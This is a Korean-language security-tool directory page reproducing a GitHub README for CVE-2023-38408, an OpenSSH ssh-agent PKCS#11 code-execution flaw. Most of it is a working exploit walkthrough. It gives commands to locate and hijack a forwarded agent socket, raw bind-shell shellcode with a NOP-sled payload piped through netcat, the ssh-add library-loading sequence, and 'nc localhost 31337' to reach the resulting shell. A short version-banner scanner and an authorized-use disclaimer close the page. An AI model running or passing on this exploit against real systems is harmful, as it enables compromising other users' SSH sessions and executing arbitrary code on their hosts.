Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/tx-one/cve-2023-38408
Vulnerability ScannersPayload GenerationExploitationShellcodePenetration TestingLearning & EducationRemote Access Tool
GitHubtx-one/cve-2023-38408

CVE-2023-38408

CVE-2023-38408 SSH 취약점 스캐너 및 PoC

저장소 보기
711년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

OpenSSH Vulnerability - CVE-2023-38408 📚

소개

OpenSSH(9.3p2 이전 버전)에서 취약점이 발견되었습니다. OpenSSH의 ssh-agent에 있는 PKCS#11 기능은 충분히 신뢰할 수 없는 검색 경로를 사용하므로, 에이전트가 공격자가 제어하는 시스템으로 전달되면 원격 코드 실행으로 이어질 수 있습니다(/usr/lib의 코드는 ssh-agent에 로드하기에 반드시 안전한 것은 아닙니다). 이 결함으로 인해 서버에서 전달된 에이전트 소켓을 제어하고 클라이언트 호스트의 파일 시스템에 쓸 수 있는 공격자는 ssh-agent를 실행 중인 사용자의 권한으로 임의 코드를 실행할 수 있습니다.

아래 예제에서는 탐색부터 alice 사용자 손상까지의 단계를 간략히 확인할 수 있습니다.

  • 1단계 - 공격자 사용자는 SSH를 통해 서버에 연결합니다.
  • 2단계 - 사용자 Alice도 서버에서 ssh를 통해 연결되어 있습니다.
  • 3단계 - 공격자는 ssh 프로세스를 통해 대상 서버로 보낼 셸코드를 생성합니다.
  • 4단계 - 공격자가 보낸 셸코드는 ssh-agent의 PKCS#11 취약점을 악용하여 Alice 사용자의 ssh 액세스를 가로채는 새 프로세스를 생성합니다.
  • 5단계 - 공격자의 정상적인 액세스를 통해 Alice 사용자로 운영 명령을 실행할 수 있으며, nc localhost 31337을 통해 셸코드에 생성된 익스플로잇에 접근할 수 있습니다.

어떻게 만들까요? POC를 만들어 봅시다

앞서 언급했듯이 이 POC에서는 SSH를 통해 서버에 연결된 2명의 사용자를 사용합니다. 아래 단계를 따르려면 2명의 사용자가 이미 서버(SSH)에 접근 권한이 있다고 가정합니다.

  1. 원격 공격자 머신에서 실행 중인 SSH 에이전트의 PID를 얻어 환경 변수로 내보냅니다. 또한 ssh-add를 통해 linuxx64.elf.stub(UEFI 부트 스텁) 파일을 추가했습니다.
root@kitploit:~
echo /tmp/ssh-*/agent.*
export SSH_AUTH_SOCK=/tmp/ssh-NqLP6il36s/agent.3452
ssh-add -s /usr/lib/systemd/boot/efi/linuxx64.elf.stub

  1. 이제 SSH를 사용하여 셸코드를 프로세스에 복사하려면 공격자 머신에 있는 동안 다음 단계를 수행해야 합니다.
root@kitploit:~
SHELLCODE=$'\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0\x4d\x31\xd2\x41\x52\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x7a\x69\x48\x89\xe6\x41\x50\x5f\x6a\x10\x5a\x6a\x31\x58\x0f\x05\x41\x50\x5f\x6a\x01\x5e\x6a\x32\x58\x0f\x05\x48\x89\xe6\x48\x31\xc9\xb1\x10\x51\x48\x89\xe2\x41\x50\x5f\x6a\x2b\x58\x0f\x05\x59\x4d\x31\xc9\x49\x89\xc1\x4c\x89\xcf\x48\x31\xf6\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05'
(perl -e 'print "\0\0\x27\xbf\x14\0\0\0\x10/usr/lib/modules\0\0\x27\xa6" . "\x90" x 10000'; echo -n "$SHELLCODE") | nc -U "$SSH_AUTH_SOCK"

마지막으로 셸코드가 에이전트의 메모리에 성공적으로 배치되면 Ctrl-C를 눌러 netcat 전송을 중지합니다.

  1. 이 단계에서는 ssh-add를 통해 3개의 파일을 업로드합니다: libttcn3-rt2-dynamic.so, libKF5SonnetUi.so.5.92.0 및 libns3.35-wave.so.0.0.0. 익스플로잇 과정의 다음 단계는 Segmentation Fault(SIGSEGV) 신호에 대한 시그널 핸들러를 등록하는 것입니다.

[!NOTE] SIGSEGV 트리거 💬
SIGSEGV는 유효하지 않은 메모리 참조(세그멘테이션 오류)가 >발생할 때 방출되는 컴퓨터 프로세스에 알려진 신호입니다. SIGSEGV 신호를 수신하면 커널은 유효하지 않은 메모리 액세스가 발생했음을 인식하고 프로그램을 갑자기 종료하는 대신 사용자 정의 시그널 핸들러를 호출합니다. 이를 통해 공격자는 프로그램의 실행을 조작하고 NOP sled 내에 위치한 주입된 악성 코드로 유도할 기회를 잡습니다.

root@kitploit:~
ssh-add -s /usr/lib/titan/libttcn3-rt2-dynamic.so
[Enter for passphrase]
ssh-add -s /usr/lib/x86_64-linux-gnu/libKF5SonnetUi.so.5.92.0
[Enter for passphrase]
ssh-add -s /usr/lib/x86_64-linux-gnu/libns3.35-wave.so.0.0.0
[Enter for passphrase]

  1. 이 시점에서 우리는 공격자의 서버 ssh 액세스를 통해 사용자 Alice를 성공적으로 악용했으며, 셸코드로 생성된 아래 명령을 실행합니다. 🔥
root@kitploit:~
nc localhost 31337

CVE-2023-38408이 나에게 영향을 미치나요? ❓

이 취약점은 주로 OpenSSH의 SSH-agent가 사용 중이고 에이전트 전달 기능이 활성화된 시스템에 영향을 미칩니다. OpenSSH에 의존하는 조직과 개인은 잠재적 노출 여부를 확인하기 위해 구성을 신속히 평가해야 합니다. 시스템이 언급된 조건에 해당한다면 CVE-2023-38408과 관련된 위험을 완화하기 위해 즉시 조치를 취하는 것이 중요합니다.

내 도구를 사용한 CVE 탐지 자동화

설치

root@kitploit:~
git clone https://github.com/TX-One/CVE-2023-38408.git
cd CVE-2023-38408

사용법

root@kitploit:~
python CVE-2023-38408_scanner.py -t <target> -p <port>

프로토콜 흐름

root@kitploit:~
Client                          Server
  | --- SSH-2.0-Client_Test ----> |
  | <---- SSH Server Banner ----- |

간단한 출력

root@kitploit:~
TXOne SSH Vulnerability Scanner : CVE-2023-38408
Developed by TXOne

[+] Connecting to 192.168.1.100:22...
[+] Received banner: SSH-2.0-OpenSSH_9.2
[+] OpenSSH Version Detected: 9.2
[!] Vulnerable OpenSSH version detected: 9.2

면책 조항

이 도구는 공인된 보안 테스트 및 교육 목적 전용으로 제작되었습니다. 네트워크 리소스를 스캔하기 전에 항상 적절한 승인을 받으십시오.

도구 다운로드